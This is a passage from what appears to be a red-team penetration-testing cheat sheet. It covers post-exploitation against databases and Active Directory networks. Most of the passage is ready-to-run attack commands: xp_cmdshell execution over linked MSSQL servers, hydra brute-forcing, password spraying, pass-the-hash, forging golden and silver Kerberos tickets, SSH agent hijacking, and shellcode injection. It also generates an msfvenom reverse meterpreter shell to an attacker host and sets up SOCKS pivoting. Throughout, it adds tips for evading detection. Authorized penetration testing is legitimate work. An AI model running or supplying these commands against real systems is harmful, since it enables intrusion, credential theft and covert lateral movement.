        - 2. (optional) if 'RPC out' is disabled on the current database try to enable it (SQL query): `EXEC sp_serveroption @server = '<remote database name>', @optname = 'rpc out', @optvalue = 'on';`
        - 3. Enable xp_cmdshell on remote database (SQL query): `EXECUTE('sp_configure ''show advanced option'',1;reconfigure;') AT "<remote MSSQL database>" EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "<remote MSSQL database>"`
        - 4. Verify if successful (SQL query): `select * from openquery("<remote MSSQL database>','SELECT name, CONVERT(INT, ISNULL(value, value_in_use)) AS IsConfigured FROM sys.configurations WHERE name = ''xp_cmdshell'';');`
- Execute code on the first linked MSSQL server:
    - Option 1: SQLRecon: `<normal tool syntax> -l <target MSSQL server> -m lxpcmd -o "<command>"`
    - Option 2:SQL query: `select * from openquery("<SQL linked server>", 'select @@servername; exec xp_cmdshell ''<command>''')`
- Execute code on the second linked MSSQL server (SQL query): `select * from openquery("<1st SQL linked server>", 'select * from openquery("<2nd SQL linked server>", ''select @@servername; exec xp_cmdshell ''''<command>''''''')')`
- Check for bidirectional SQL link misconfiguration that allows for the execution of SQL queries from the context of the target MSSQL server back on the current MSSQL server as a sysadmin user:
    - 1. Check in which context the target database instance login user can run SQL queries in the current database instance (SQL query): `select mylogin from openquery("<remote database name>", 'select mylogin from openquery("<current database name>", ''select SYSTEM_USER as mylogin'')')`
    - 2. Enable 'xp_cmdshell' on the current database instance via the target database instance (SQL query):
        - `EXEC ('EXEC (''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT <current database name>') AT <remote database name>`
        - `EXEC ('EXEC (''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT <current database name>') AT <remote database name>`

    - 3. Run code on the current database instance (SQL query): `EXEC ('EXEC (''xp_cmdshell ''''<Command>'''''') AT <current database name>) AT <remote database name>`

Database content enumeration:

- MSSQL queries to list the content of the database:
    - List databases: `SELECT name FROM master..sysdatabases;`
    - List tables: `SELECT name FROM <database name>..sysobjects WHERE xtype = 'U';`
    - List columns: `SELECT <database name>..syscolumns.name, TYPE_NAME(<databasename>..syscolumns.xtype) FROM <database name>..syscolumns, <databasename>..sysobjects WHERE <database name>..syscolumns.id=<databasename>..sysobjects.id AND <database name>..sysobjects.name='<table name>';`
    - Dump content column: `SELECT <column name> FROM <database_name>..<corresponding table name>;`
- Search database content over SQL links:
    - List databases and tables (SQL query): `select * from openquery("<target MSSQL server>", 'select * from information_schema.tables')`
    - List Columns (SQL query): `select * from openquery("<target MSSQL server>", 'select column_name from master.information_schema.columns')`
    - Dump content column (SQL query): `select * from openquery("<target MSSQL server>", 'select <column name> from master.dbo.<table name>')`

MySQL/MariaDB database:

Access to database:

- Normal login: `(proxychains4) mysql -h <server ip> -u <db_user_name> (-p db_name)`
- Bruteforce login: `hydra -L <userlist.txt> -P <passlist.txt> -f <target ip> mysql`

Interact with database:

- Display all databases: `show databases;`
- Select database: `use <database_name>;`
- Show all tables: `show tables;`
- Display content table: `SELECT * FROM <table>;`
- List all users: `SELECT User, Host FROM mysql.user;`
- If you have root access to the database and the database is storing user credentials for e.g. a web application, just change the password (some CMS require an alternative command to run in mysql to create a valid new password) : `UPDATE <user table name> SET <password column> = md5('new password') WHERE <user or id column> = <username or id of user to change pw>;`

MongoDB:

- (info) for more info, check the MongoDB cheat sheet
- 1. Download and unpack the mongo binary:
    - New version (select .tgz type)
    - Legacy version

- 2. export binary location to current session: `export PATH=/root/mongodb-linux-x86_64-3.6.17/bin:$PATH`
- 3. Start remote connection: `mongo --host <target host> --port 27017 -u "" -p ""`
- 4. Use the MongoDB command:
    - List available databases: `show dbs`
    - Use a specific database: `use <db name>`
    - List the collections from the database: `show collections`
    - Dump content of the collection: `db.<collection>.find()`

Oracle DB:

Oracle database (tcp 1521, 1522-1529) is a relational database management system (RDBMS). Oracle databases use Transparent Network Substrate (TNS). A proprietary Oracle computer-networking technology that supports homogeneous peer-to-peer connectivity on top of other networking technologies such as TCP/IP.

Access and database information:

- (info) more information about pentesting Oracle DB's can be found here
- 1. Enumerate TNS listener version: `nmap --script "oracle-tns-version" -p 1521 -T4 -sV <IP>`
- 2. Search for a valid SID, find a valid Oracle accounts and identify the privileges of that account:
    - 1. Install ODAT:
        - 1. (optional) If not using Kali Linux, download a 19.11 version client basic, sdk (devel) and sqlplus instance, and put them in the same directory as the bash script (step 2):
        - 2. Make a bash file to download the tool and install all the needed dependencies:

```
#!/bin/bash
git clone https://github.com/quentinhardy/odat.git
cd odat/
git submodule init
git submodule update
cd ../
sudo apt-get -y install libaio1 python3-dev alien
#sudo alien --to-deb oracle-instantclient19.11-basic-19.11.0.0.0-1.x86_64.rpm
#sudo alien --to-deb oracle-instantclient19.11-devel-19.11.0.0.0-1.x86_64.rpm
#sudo dpkg -i oracle-instantclient19.11-basic_19.11.0.0.0-2_amd64.deb
#sudo dpkg -i oracle-instantclient19.11-devel_19.11.0.0.0-2_amd64.deb
#echo "export ORACLE_HOME=/usr/lib/oracle/19.11/client64" >> ~/.zshrc
#echo "export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$ORACLE_HOME/lib" >> ~/.zshrc
#echo "export PATH=${ORACLE_HOME}bin:$PATH" >> ~/.zshrc
pip3 install cx_Oracle
sudo apt-get install python3-scapy
sudo pip3 install colorlog termcolor pycrypto passlib python-libnmap
sudo pip3 install argcomplete
sudo activate-global-python-argcomplete
pip3 install pyinstaller
echo "Done! test with python3 odat.py -h"
```

    - 2. Start enumeration: `python3 odat.py all -s <target IP> -p <PORT>`

Attack Oracle database:

- Remote Code Execution:
    - Execute Code via Java Stored Procedure: `python3 odat.py java -s <IP> -U <username> -P <password> -d <SID> --exec <COMMAND>`
    - Execute code via External Tables: `python3 odat.py externaltable -s <IP> -U <username> -P <password> -d <SID> --exec "C:/windows/system32" "calc.exe"`
- Read/write files:

    - Read file: `python3 odat.py utlfile -s <IP> -d <SID> -U <username> -P <password> --getFile "<remote path>" <remote file name> <local file name>`
    - Write file: `python3 odat.py utlfile -s <IP> -d <SID> -U <username> -P <password> --putFile "<remote path>" <remote file name> <local file name>`
- Escalate privileges (multiple options available): `python3 odat.py privesc s <IP> -U <username> -P <password> -d <SID> -h`

Lateral movement

Verify access:

AD password spraying:

Check if a found password or a common/weak one applies to a domain account.

- Option 1: CS BOF (C2-Tool-Collection):
  - Kerberos password spray (possible to specify account name filter): `SprayAD <password> (<adm*>)`
  - LDAP password spray (uses logon event ID 4771 instead of 4625): `SprayAD <password> ldap`

Verify local admin access:

- 1. Elevate to local system because this module requires elevated privs to work.
- 2. Upload or create a file called 'computers.txt' containing FQDN's of computers within the network to the directory 'C:\users\public\documents\'
- 3. Start scan:
  - Option 1: **Password** (for PoshC2: run-exe SharpMapExec.Program) (SharpMapExec): `SharpMapExec kerberos <smb | winrm> /ticket:C:\Windows\<username>.kirbi /computername:C:\users\public\documents\computers.txt`
  - Option 2: **NTLM hash** (for PoshC2: run-exe SharpMapExec.Program) (SharpMapExec): `SharpMapExec ntlm smb /user:Administrator /ntlm:<local admin hash> /computername:C:\users\public\documents\computers.txt`

Test credentials:

- Option 1: **From beacon**:
  - Validate credentials and type of access on remote system:
    - 1. Elevate to local system because this module requires elevated privs to work.
    - 2. Check access (for PoshC2: run-exe SharpMapExec.Program) (SharpMapExec): `SharpMapExec ntlm <smb | winrm> /user:<username> [/ntlm:<ntlm hash> | /password:<password>] (/domain:hidro.local) /computername:<FQDN target computer>`
  - Validate local credentials (PoshC2 module): `testlocalcredential <username> <password>`
  - Validate AD credentials (PoshC2 module): `testadcredential <domain name> <username> <password>`
- Option 2: **From attacker Linux system**:
  - SMB (CrackMapExec): `crackmapexec smb -u <user> -p <password> (--exec-method wmiexec)`
  - WinRM (Evil-WinRM): `evil-winrm -i <target ip> -u <username> (-p <password> | -H <NT hash>)`
  - Kerberos (impacket): `getTGT.py <domain>/<usename> (-hashes :<NTLM>) -dc-ip <FQDN DC>`

Change access:

Get domain access on a non-domain joined system:

Start authenticated domain user session on not domain joined system:

- 1.In the 'Network and Sharing Center' edit the Ethernet connection's 'Internet Protocol versie 4 (TCP/Ipv4)' item and enter in the "Use the following DNS server address" field the IP address of a DC in the target domain.
- 2. Start a new powershell session to interact with the domain from the context of a domain user (requires valid credentials): `runas /netonly /user:<domain>\<username> "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"`
- 3. It is now possible to run most tools with the privileges of the specified domain user

Change account context:

Pass-the-Hash:

Perform pth that will create a new process under the context of the provided credentials.

- (info) it is mandatory to run the SharpKatz command in an elevated session.
- 1. Start new process based on pth (for PoshC2: run-exe SharpKatz.Program) (SharpKatz): `SharpKatz.exe --Command pth --User <username> --Domain <domain> --NtlmHash <hash>`
- 2. Migrate to the new process to use the provided user privileges.

OverPass-the-hash:

OverPass The Hash can be used when NTLM is disabled or as a stealther approach for authorisation to objects within the domain. A lot of tradecraft that leverages NTLM are undesirable and therefore always use AES256 keys.

- (info) If the ticket is not working, try both the FQDN and the NetBIOS name of the target system.
- Option 1: **From beacon**:
    - Option 1: **Not elevated + CS Beacon** (this avoids any adverse effects and better OPSEC):
        - 1. (optional) if you have a password convert it to AES256 key (Rubeus): `rubeus.exe hash /password:<password> /domain:<FQDN> /user:<username>`
        - 2. Request a new TGT (Rubeus): `Rubeus.exe asktgt /user:<USER> /domain:<FQDN of target domain> /aes256:<HASH> /opsec /nowrap (/dc:<FQDN DC>)`
        - 3. Copy the TGT and save it locally on the CS client attacker system: `[System.IO.File]::WriteAllBytes("C:\Secrets\ticket.kirbi", [System.Convert]::FromBase64String("<base64 TGT string>"))`
        - 4. Create a new/clean logon session (make sure you are in a global writeable directory): `make_token <domain>\<target user> DummyPass`
        - 5. Create a sacrificial process: `run C:\Windows\System32\upnpcont.exe`
        - 6. Find the PID of the new process: `ps`
        - 7. Start a local TCP beacon listener in CS
        - 8. Inject into the newly spawned process: `inject <PID> x64 <local TCP listener name>`
        - 9. In the new spawned TCP beacon, import the TGT: `kerberos_ticket_use C:\<local path to>\ticket.kirbi`
    - Option 2: **Elevated + CS Beacon**:
        - 1. (optional) if you have a password convert it to AES256 key (Rubeus): `rubeus.exe hash /password:<password> /domain:<FQDN> /user:<username>`

        - 2. Request a new TGT (Rubeus): `Rubeus.exe asktgt /user:<USER> (/domain:<FQDN of target domain>) /aes256:<HASH> /opsec /nowrap (/dc:<FQDN DC>)`
        - 3. Copy the TGT and save it locally on the CS client attacker system (PS): `[System.IO.File]::WriteAllBytes("C:\Users\Public\Documents\ticket.kirbi", [System.Convert]::FromBase64String("<base64 TGT string>"))`
        - 4. Create a new/clean logon session (make sure you are in a global writeable directory): `make_token <domain>\<target user> DummyPass`
        - 5. Import TGT in new logon session: `kerberos_ticket_use C:\<local path to>\ticket.kirbi`
    - Option 3: **create sacrificial process/logon session**:
        - (info) this method will NOT overwrite the current TGT but requires elevated privileges on the current system.
        - 1. Start sacrificial process/logon session:
            - Option 1: Request TGT and import it directly in a sacrificial process/logon session (Rubeus): `Rubeus.exe asktgt /user:<username> /domain:<FQDN> /aes256:<aes256 key> /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe`
            - Option 2: Start empty sacrificial process/logon session (use this to later import a kirbi ticket via rubeus ptt /ticket:<kirbi.ticket>) (Rubeus): `Rubues.exe createnetonly /program: C:\Windows\System32\cmd.exe`
        - 2. Migrate to the created sacrificial process to use the requested TGT (for PoshC2 use: migrate <pid>)
    - Option 4: **Import TGT in current session** (this will overwrite the TGT of current user and will most likely be visable by the victim due authentication failures) (Rubeus): `Rubeus.exe asktgt /user:<USER> /aes256:<HASH> /ptt (/dc:<FQDN DC>) (/domain:<FQDN of target domain>)`
- Option 2: **From attacker system:**
    - 1. Request ticket:
        - Option 1: Request TGT with NTLM hash (impacket): `python getTGT.py <FQDN>/<USER> -hashes:<HASH> -dc-ip <DC IP>`
        - Option 2: Request TGT with aeskey (impacket): `python getTGT.py <FQDN>/<USER> -aesKey <aes_key> -dc-ip <DC IP>`
        - Option 3: Request TGT with password (impacket): `python getTGT.py <FQDN>/<USER>:<password> -dc-ip <DC IP>`
    - 2. Set the TGT for impacket use: `export KRB5CCNAME=<TGT_ccache_file>`
    - 3. Use the TGT with impacket suite and specify the '-k' and '-no-pass' parameters.

Cobalt Strike: change user context techniques:

- Steal a token from a specified process (works well for accessing remote resources but not local ones): `steal_token <PID>`
- Create an impersonation token into the current process based on provided credentials (this will show as a logon type 9) (make sure you are in a global writeable directory): `make_token (<domain>\)<username> <password>`
- Revert to beacon's original access token: `rev2self`
- Perform OPSEC safe Pass-the-Hash:
    - 1. Start high integrity PS process: `mimikatz sekurlsa::pth /user:<username> /domain:<FQDN> /ntlm:<hash> /run:"powershell -w hidden"`
    - 2. Steel the tokens from the specified process: `steal_token <PS PID>`

    - 3. When finished, use 'rev2self' and kill the spawned process.
- Inject into process and leverage its context:
    - 1. List all processes and select a suitable target: `ps`
    - 2. Start beacon in context of target process:
        - Option 1: Inject custom shellcode into the specified process: `shinject <PID> (<x86|x64>) </path/to/shell.bin>`
        - Option 2: Inject a new beacon into the specified process: `inject <PID> (<x86|x64>) <name TCP beacon listener>`

PoshC2: user context migration:

This technique starts a new implant in the context of the targeted process.

- 1. List all processes and note the PID of a suitable target (recommended to use the "spoolsv.exe" service to migrate to NT/SYSTEM): `tasklist /v (|findstr "spoolsv.exe")`
- 2. Migrate to target process:
    - Option 1: **C# Implant**: `migrate <PID>`
    - Option 2: **C# implant daisychain**: in the case you want to migrate to a process in the context of a daisychain implant, you will be promped for "Name required: ". In that case enter the name of the daisychain shellcode that was entered during the diasychain setup (dc01-child and not dc01-childSharp_v4_x64_Shellcode.bin): `migrate <PID>`
    - Option 3: **PS Implant**: `migrate -procid <PID>`

Silver-Ticket (single computer pass):

While a golden ticket is a domain-wide pass, the scope of a silver ticket is limited to a single computer resource which requires the computer- or service account hash to forge a valid TGS. Machine account hashes are rather uncrackable due to the machine account password being a random 120+ bytes long string. A silver ticket is therefore a good way of utilizing obtained machine account hashes.

- (info). In order to forge TGS tickets, it is mandatory to have the NTLM hash for either the service account running a service on a computer or the computer account itself. In the case of a service account, the password may be obntained through kerberoasting. This can give access to the associated service resource (e.g. if the SPN is "MSSQlSvc/host.domain.local" you can gain access to the MSSQL database on that specific host).
- 1. Obtain the FQDN and domain SID (PowerView): `Get-DomainSID`
- 2. Forge silver ticket:
    - (info) If you obtained a computer account hash, it is possible to forge a silver ticket for any (available) service that runs as the local computer account (e.g. cifs, host, etc.). In that case the following service names can be used to run the associated service:
        - WMI interactions: HOST, RPCSS
        - LDAP DCsync attack: LDAP
        - WinRM: HOST, HTTP
        - File access and psexec: CIFS
    - Option 1: **from local Windows system**: Craft silver ticket based on local running mimikatz instance (mimikatz): `kerberos::golden /user:<user to impersonate (e.g. Administrator)> /domain:<domain FQDN> /sid:<domain SID> /target:<target account name> /service:<target domain service (e.g. HOST)> /aes256:<machine key> /ticket:ticket.kirbi`
    - Option 2: **From local Linux system**:
        - 1. Create .ccache ticket (impacket): `ticketer.py -nthash <NTLM hash computer or service account> -domain-sid <current domain SID> -domain <current FQDN> -`

spn <original SPN for service account or desired SPN for computer account (e.g. host/computer.example.local)> <user to imperonate(e.g. Administrator)>
        - 2. Convert .ccache ticket to .kirbi ticket to make it compatible with Rubeus (impacket): ticketConverter.py Administrator.ccache ticket.kirbi
- 3. Import the ticket and run command as the impersonated user:
    - Option 1: **From beacon** (for cobalt strike use the make_token + kerberos_ticket_use method) (Rubeus): \rubeus.exe ptt /ticket:<path to ticket.kirbi | kirbi base64 string>
    - Option 2: **From attacker system**:
        - 1. (optional) In the case of a computer account, add its FQDN to your local '/etc/hosts' file
        - 2. Set .ccache ticket as environment variable: export KRB5CCNAME=</path/to/Administrator.ccache>
        - 3. Make sure that your time is synchronized with the target DC to use kerberos
        - 4. It is now possible to run tools in the context of the impersonated user against a specific resource (if you only control the service account) or all resources (if you control the computer account).

Golden-Ticket (domain-wide pass):

The KRBTGT account is used to encrypt and sign all Kerberos tickets within a domain and is also known as the Key Distribution Service account. With control over this account, an attacker can generate Ticket Granting Tickets (TGTs) for any account in the domain.

- 1. Obtain the krbtgt hash.
- 2. Obtain domain SID (PowerView): Get-DomainSID
- 3. Forge golden ticket:
    - Option 1: **From local Windows system**: run Mimikatz on own local Windows system:
        - 1. (optional) Check what the default Kerberos ticket life span is: Get-DomainPolicy | select -expand KerberosPolicy
        - 2. Forge ticket: kerberos::golden /user:<user to impersonate (e.g. Administrator)> /domain:<domain FQDN> /sid:<domain SID> /aes256:<krbtgt hash> /ticket:ticket.kirbi (/startoffset:-10 /endin:600 /renewmax:10080)
    - Option 2: **From local Linux system**:
        - 1. Request TGT (impacket): ticketer.py -nthash <krbtgt hash> -domain-sid <current domain SID> -domain <current FQDN> <username (e.g. Administrator)>
        - 2. Convert .ccache ticket to .kirbi (impacket): ticketConverter.py Administrator.ccache ticket.kirbi
- 4. Import TGT and use privileges:
    - Option 1: **From beacon** (for cobalt strike use the make_token + kerberos_ticket_use method) (Rubeus): Rubeus.exe ptt /ticket:<path to ticket.kirbi | kirbi base64 string>
    - Option 2: **From attacker linux system**:
        - 1. Add FQDN of target DC to local '/etc/hosts' file
        - 2. Set .ccache ticket as environment variable: export KRB5CCNAME=</path/to/Administrator.ccache>
        - 3. Use impacket tools with the '-k' and -'no-pass' parameters.

SSH hijacking using SSH-Agent and SSH Agent forwarding:

- (info) this attack requires root privileges on the current system.
- 1. List all SSH connections: ps aux | grep ssh

- 2. Get the process ID (PID) values for the SSH processes: `pstree -p <user> | grep ssh`
- 3. List the content of the PID's environment bash file: `cat /proc/<number>/environ`
- 4. Search for the variable 'SSH_AUTH_SOCK' and note the ssh session file to which it points
- 5. Set SSH variable to own session: `SSH_AUTH_SOCK=</tmp/ssh-7OgTFiQJhL/agent.16380> ssh-add -l`
- 6. Login to the target system leveraging the SSH session: `SSH_AUTH_SOCK=</tmp/ssh-7OgTFiQJhL/agent.16380> ssh <user>@victim`

SSH hijacking leveraging ControlMaster:

- 1. Check in every accessible /home/user/.ssh/controlmaster directory for the existence of SSH socket files (e.g. user@victim:22)
- 2. If not already, su to the user that owns the socket file
- 3. SSH hijack the session and gain access to the target system without specifying the user's password: `ssh <user>@<target system>`

Session passing:

Pass-The-Ticket:

Pass The Ticket attacks are similar to OverPass-The-Hash. In this case instead of retrieving the ticket using a NTLM hash, AES key or password, the ticket is extracted from the host where the user is currently authenticated and can therefore be used as a form of session passing.

- (OPSEC) Kerberos tickets with a normal lifetime value and using AES-256 keys instead of NTLM, will lower the change of getting flagged.
- 1. Check what TGT/TGS are stored in memory (only shows other users TGT's if elevated) (Rubeus): `Rubeus.exe triage`
- 2. Extract ticket from current session or identified session if elevated (Rubeus): `\Rubeus.exe dump /nowrap (/luid:<LUID value of other user>)`
- 3. Import ticket:
    - Option 1: **In current session** (not elevated) (Rubeus): `Rubeus.exe /ptt /ticket:<base64 ticket string>`
    - Option 2: **In new logon session** (elevated):
        - 1. Create sacrificial logon session (Rubeus): `Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe`
        - 2. Pass the TGT into the sacrificial logon session (Rubeus): `Rubeus.exe ptt /luid:<LUID of sacrificial logon session> /ticket:[<base64-ticket>]`

Cobalt Strike to other C2 framework:

- (info) this method can be used for any C2 framework as long it uses a shellcode payload. As an example, Metasploit is used.
- 1. Start msfconsole and setup multi/handler (lhost, lport, payload) and start: `exploit -j`
- 2. Generate shellcode for MSF: `msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<IP CS TS> LPORT=<set port> -f raw -o shell.bin`
- 3. Start new process to inject into: `execute C:\Windows\System32\PresentationHost.exe`
- 4. Inject shellcode and pass session to MSF: `shinject <PID> x64 <attacker system path to shell.bin>`

Remote access:

Agentless remote command execution:

Living of the land methods:

- **WinRS**: run remote command (with output): `winrs -r:<FQDN> (-u:<domain>\<username> -p:<password>) <COMMAND (e.g. powershell.exe -Command "pwd")>`
- **wmic**: run remote command: `wmic /node:"<target system name>" /user:<domain>\<username> /password:<password> process call create "cmd /c <command>"`
- **PowerShell Remoting**: run remote command: `$SecPass = ConvertTo-SecureString '<passowrd>' -AsPlainText -Force; $Cred = New-Object System.Management.Automation.PSCredential( '<domain>\<username>' , $SecPass); Invoke-Command -Computername <target FQDN> -Credential $Cred -ScriptBlock {<command to execute>}`
- **Invoke-WmiMethod:** remotely run binary (requires that the payload is already uploaded to the target system): `Invoke-WmiMethod -ComputerName <FQDN target host> -Class win32_process -Name create -ArgumentList "C:\Users\Public\Documents\binary.exe"`

Cobalt Strike remote command execution:

- 1. Change to the context of a domain user that has elevated privileges on the target host
- 2. Execute remote command: `remote-exec <psexec | winrm | wmi> <FQDN target system> <command>`

Remote command exection using PowerShell and PtH:

This technique can be used to remotely execute commands using the NTLM hash of a high privileged user.

- (info) This method works in combination with both the "process hollowing" and "vanilla injenction" techniques. Commands are executed in high integrity local SYSTEM or Administrator context. For further pivoting in an AD environment, it is mandatory to first migrate to another high intergrity process onwed by an AD user.
- Option 1. Execute command via WMI (Invoke-WMIExec.ps1) (PS): `Invoke-WMIExec -Target <target ip> -Domain <domain name>-Username <username> -Hash <NT hash> -Command "<command>" (-verbose)`
- Option 2: Execute command via SMB (Invoke-SMBExec.ps1) (PS) `Invoke-SMBExec -Target <target ip> -Domain <domain name>-Username <username> -Hash <NTLM hash> -Command "<command (e.g. PS EncodedLauncher or uploaded executable)>" -verbose`

PsExec sysinternals remote command execution:

In the case you have obtained user account NTLM hash and that user is authorised to have remote access to that system, it is possible to forge and import that users ticket and leverage the psexec tool to establish an interactive remote shell.

- 1. Forge and import the user ticket based on the overpass-the-hash technique.
- 2. Upload the PsExec tool from the sysinternals suite to the target system.
- 3. Start a interactive shell: `C:\<path to>\PsExec.exe -accepteula \\<remote hostname> cmd`

RDP remote command execution:

- 1. Select execution type:
    - Regular RDP connection and command execution: no additional parameter
    - Exec program as child process of cmd or powershell: exec=cmd

    - Execute command elevated through task manager: elevated=taskmgr
- 2. Run command (for PoshC2: SharpRDP.Program) (SharpRDP): `SharpRDP.exe computername=<FQDN target> command="<command>" username=<domain>\<username> password=<password> (<execution type>)`

Start remote agent:

Start CS beacon remotely:

- 1. Change to the context of a domain user that has elevated privileges on the target host
- 2. Prepare a P2P listener (recommended to use SMB for OPSEC)
- 3. Spawn a new beacon session on a target system: `jump <psexec | psexec64 | psexec_psh | winrm | winrm64> <target system> <listener name>`

Start remote CS P2P beacon:

This technique can be used to chain multiple beacons together. This is handy for reaching systems in nested networks that can't directly communicate with the TS or to minimize egress. This method is the equivalent of a bind shell.

- (info) this method requires you to manually 'connect' to the SMB/TCP server started by the payload and therefore it is advised to only use this method if you have full control over the execution time of the payload.
- 1. Start a new "Beacon TCP" or "Beacon SMB" listener
- 2. Create a payload for the started listener
- 3. Deliver the payload to the target system and execute it.
- 4. Connect to the started beacon from an already established beacon:
    - Option 1: Beacon TCP: `connect <target ip> <port>`
    - Option 2: Beacon SMB: `link <target ip> <pipe name>`

Start remote CS Pivot P2P beacon:

This technique can be used to chain multiple beacons together. This method is handy in situations where you do not know when the payload will be executed. In contrast to the regular 'remote P2P beacon' technique, the already established beacon will act as the TCP server and the payload beacon will auto connect to it when executed. This method is the equivalent of a reverse shell.

- (info) If the current machine doesn't allow arbitrary ports inbound and you can't modify the firewall, you can't use Pivot listeners.
- 1. Start the Pivot Listener from an already established beacon: `Pivoting > Listener`
- 2. Create a payload for the started pivot listener (normal workflow)
- 3. Make the payload execute via whatever method to auto start the new beacon.

PoshC2 Daisy Chaining:

Daisy-chaining can be used to pivot through a network over HTTP and create a chain of implants in PoshC2. This is specially handy for reaching systems in nested networks, systems that are not connected to the internet or in a situation were you want to minimize egress to the C2 server for opsec reasons.

- 1. Make sure your session is elevated
- 2. Start a daisy server and follow the configuration wizard (make sure the port is not in use): `startdaisy`
- 3. If you are running the daisy server in a C# implant, it is mandatory to manually add an inbound firewall rule (PS implant does this automatically) (use an opsec firewall rule name like "@{Microsoft.ADD.Windows.Controller_1000.14393.0.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.ADD.Windows.Controller/PackageDisplayName}"): `netsh advfirewall firewall add`

rule name="<name of rule>" dir=in action=allow protocol=tcp localport=<port configured on daisyserver>

- 4. It is recommended to add portwarding with 'netsh interface portproxy' from the daisy server to the team server. This way payloads can be hosted there.
- 5. Use any RCE method to start a new beacon on the target computer using the daisy generated shellcode (shellcode is by default not obfuscated but can be used with process hollowing without a problem if hosted remotely and reflectively loaded).

PoshC2 SMB named pipe:

This technique can be used to pivot through a network via SMB and create a chain of implants for PoshC2.

- (info) a major downside of this build-in pbind connection method is that when the connection is broken, all new connection attempts will fail because the implant still thinks it is connected and there is no "kill" command.
- 1. Create an obfuscated payload that leverages the by donut obfuscated PBind C# shellcode from PoshC2
- 2. Use any available technique to remotely download and run the payload
- 3. Connect to the SMB named pipe bind shell (if you modified the pipename and secret in the config file specify both values): `pbind_connect <hostname> (<pipename>) (<secret>)`

Start remote session via SSH:

- Connect to SSH server:
  - Regular login: `ssh <name>@<target ip>`
  - Use this syntax in the case when the ssh connection generates an error and requires "matching key exchange": `ssh -okexAlgorithms=+<paste 1 shown key format from the error msg> -p <port> <name>@<target ip>`
- Login to domain joined Linux system using TGT:
  - 1. Request TGT (impacket): `python3 getTGT.py <FQDN>/Administrator@<FQDN DC> -hashes :<HASH>`
  - 2. Check location to where to locally store the TGT: `ssh -o GSSAPIAuthentication=yes user@domain.local -vv`
  - 3. Copy ticket to correct location so SSH can import it: `cp user.ccache /tmp/krb5cc_1045`
  - 4. Login over ssh using kerberos: `ssh -o GSSAPIAuthentication=yes <username>@<FQDN target Linux host>`
- Bruteforce SSH login: `hydra -f -V -t 1 -L <wordlist/user> -P <wordlist/password> -s 22 <target ip>`

Start remote GUI via RDP:

- Disable restricted admin access: `New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value "0" -PropertyType DWORD -Force`
- Remote access via RDP (supports password and NTLM): `xfreerdp /u:<USER> /d:<DOMAIN> /pth:<NTLM-HASH> /v:<IP-ADDRESS> (/timeout:<time in ms to deal with high latency>)`

Pivoting

SOCKS proxy:

Cobalt Strike Socks Proxy:

- 1. In a beacon, start the SOCKS4a server and specify its port (set sleep to 0): `socks <port (e.g. 1080)>`
- 2. Use SOCKS Proxy:
    - Option 1: **from attacker system**:
        - 1. Configure proxychains, your browser or the SOCKS aware application to point to: `127.0.0.1:1080`
        - 2. It is now possible to use the SOCKS proxy: `proxychains4 <normal syntax>`
    - Option 2: **for Metasploit Framework**:
        - 1. In Cobalt Strike, go to View > Proxy Pivots, highlight the existing SOCKS proxy, click the 'Tunnel' button and copy the generated string
        - 2. Start msfconsole and paste the copied string
        - 3. Most MSF modules are now auto proxied and only require the normal setup (e.g. rhost).

PoshC2 Socks Proxy

- (info) This SOCKS proxy technique requires a PowerShell implant to work. Overall very tricky to use: only works the first time you use it and if it fails, stop the socksproxy, kill beacon and start over.
- 1. Get a powershell implant on the target host using your favorite execution method and set the beacon time to 1 sec.
- 2. Start SharpSocks within the beacon (if you start sharpsocks in a Daisy PS beacon, the URL that is requested must point to your downstream PS beacon (e.g. http://10.111.10.45:7580/): `sharpsocks`
- 3. Copy the printed sharpsocks string and paste it into a new terminal pane (NOT into the PoshC2 implant handler).
- 4. Once you pasted the string and the server has started, type 'Y' into the implant handler window. The output should indicate that the implant has started. You can confirm this by looking at the output from the server you started in the previous step. If it has started, you should see that the SOCKS Proxy is now listening (most likely on 43334).
- 5. Configure proxychains or the SOCKS aware application to point to 127.0.0.1:43334.
- 6. It is now possible to use the SOCKS proxy (everything works via the socks proxy but its slow): `proxychains4 <normal syntax>`
- 7. (optional) Stop the SOCKS proxy: `stopsocks`

Windows/Linux SOCKS5 Proxy with revsocks:

This socks proxy technique can be used for establishing a connection between linux-linux, linux-windows and windows-windows type systems.

- 1. On your owned controlled (C2) server start the socks proxy server (revsocks): `<revsocks | revsocks.exe> -listen <listener ip address>:<listening port> -socks 127.0.0.1:1080 -pass <password of your choosing>`
- 2. Upload the revsocks.exe binary to the target (Windows or Unix based) host and start the client to make a connection to the server: `<revsocks | revsocks.exe> -connect <remote server IP>:<port to connect to> -pass <set password> (-proxyauth <domain>/<username>:<password>) -useragent "<string (e.g. Mozilla 5.0/IE Windows 10)>"`
- 3. Configure the "proxychains.conf" file and add "socks5 <TAB> 127.0.0.1:1080" so it uses SOCKS v5.

- 4. Use proxychains4 to connect to the internal network of the target system: `proxychains4 <command>`

Port forwarding:

Windows native Port Forwarding:

- (info) this method can be used to reach hosted payloads on the team server from a nested system in the network. This requires admin privs to setup.
- 1. Add portforwarding rule: `netsh interface portproxy add v4tov4 listenport=<local listening TCP port> connectaddress=<remote connect IP address> connectport=<remote TCP port>`
- 2. Add a firewall rule so the portforward port can be reached: `netsh advfirewall firewall add rule name="<name of rule>" dir=in action=allow protocol=tcp localport=<listenport>`

Cobalt Strike Port forwarding:

- Tunnel traffic to Team Server:
    - 1. Port forward incoming traffic on a specific port to a specific port on an arbitrary host: `rportfwd <bind port> <forward host> <forward port>`
    - 2. Stop port forwarding: `rportfwd stop <bind port>`
- Tunnel traffic to the local machine running CS client: `rportfwd_local <bind port> 127.0.0.1 <forward port>`

SSH Port forwarding:

- Dynamic Port Forwarding: Listen on local port 8080 (can be any available port). Incoming traffic to 127.0.0.1:8080 forwards it to final destination via the SSH-SERVER:
    - 1: `ssh -D 127.0.0.1:8080 <username>@<IP SSH-SERVER>`
    - 2. Configure '/etc/proxychains.conf' so it points to 127.0.0.1:8080
